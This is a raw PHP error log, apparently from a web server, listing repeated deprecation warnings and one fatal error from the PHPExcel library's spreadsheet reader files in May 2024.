Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2462 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2477 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2477 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2477 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2492 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2492 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2492 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2507 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2507 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2507 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2549 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2614 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2630 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2808 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2891 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2958 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2980 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3886 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3909 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3909 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3909 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3921 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3922 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3923 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3926 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3927 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3928 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3929 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3932 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3933 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3934 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3935 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3999 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 4065 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 4068 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 4450 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 4601 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 4603 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 6889 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 6892 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 7297 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 7300 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 7303 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [25-May-2024 06:36:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [25-May-2024 06:56:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [25-May-2024 06:56:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [25-May-2024 06:56:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [25-May-2024 06:56:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [25-May-2024 06:56:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [25-May-2024 06:56:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [26-May-2024 20:36:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [26-May-2024 20:36:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [26-May-2024 20:36:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [26-May-2024 20:36:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [26-May-2024 20:36:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [26-May-2024 20:36:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [26-May-2024 22:12:20 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 164 [26-May-2024 22:12:20 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 252 [26-May-2024 22:12:20 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 266 [26-May-2024 22:12:20 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 296 [26-May-2024 22:12:20 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 330 [26-May-2024 22:12:20 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 339 [26-May-2024 22:12:20 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 369 [26-May-2024 22:12:20 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 387 [26-May-2024 22:12:20 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 436 [26-May-2024 22:12:20 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [26-May-2024 22:12:20 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [26-May-2024 22:12:20 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [26-May-2024 22:12:20 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [26-May-2024 22:12:20 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [26-May-2024 22:12:20 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [27-May-2024 00:39:14 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [27-May-2024 00:39:14 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [27-May-2024 00:39:14 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [27-May-2024 00:39:14 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [27-May-2024 00:39:14 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [27-May-2024 00:39:14 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [27-May-2024 01:21:27 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Exception' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Exception.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Exception.php on line 28 [27-May-2024 04:01:33 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel2003XML.php on line 692 [27-May-2024 04:01:33 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel2003XML.php on line 701 [27-May-2024 04:01:33 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [27-May-2024 04:01:33 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [27-May-2024 04:01:33 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [27-May-2024 04:01:33 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [27-May-2024 04:01:33 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [27-May-2024 04:01:33 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [27-May-2024 05:18:40 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [27-May-2024 05:18:40 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [27-May-2024 05:18:40 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [27-May-2024 05:18:40 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [27-May-2024 05:18:40 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [27-May-2024 05:18:40 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [27-May-2024 07:32:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [27-May-2024 07:32:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [27-May-2024 07:32:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [27-May-2024 07:32:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [27-May-2024 07:32:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [27-May-2024 07:32:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 1928 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 1991 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2128 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2153 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2163 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2181 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2194 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2198 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2278 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2402 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2402 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2402 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2417 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2417 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2417 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2432 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2432 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2432 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2447 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2447 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2447 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2462 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2462 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2462 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2477 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2477 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2477 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2492 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2492 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2492 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2507 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2507 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2507 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2549 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2614 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2630 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2808 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2891 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2958 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2980 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3886 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3909 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3909 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3909 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3921 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3922 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3923 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3926 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3927 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3928 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3929 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3932 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3933 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3934 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3935 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3999 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 4065 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 4068 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 4450 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 4601 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 4603 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 6889 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 6892 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 7297 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 7300 [27-May-2024 07:48:29 UTC] PHP Deprecated: Array and string offset access syntax with curly 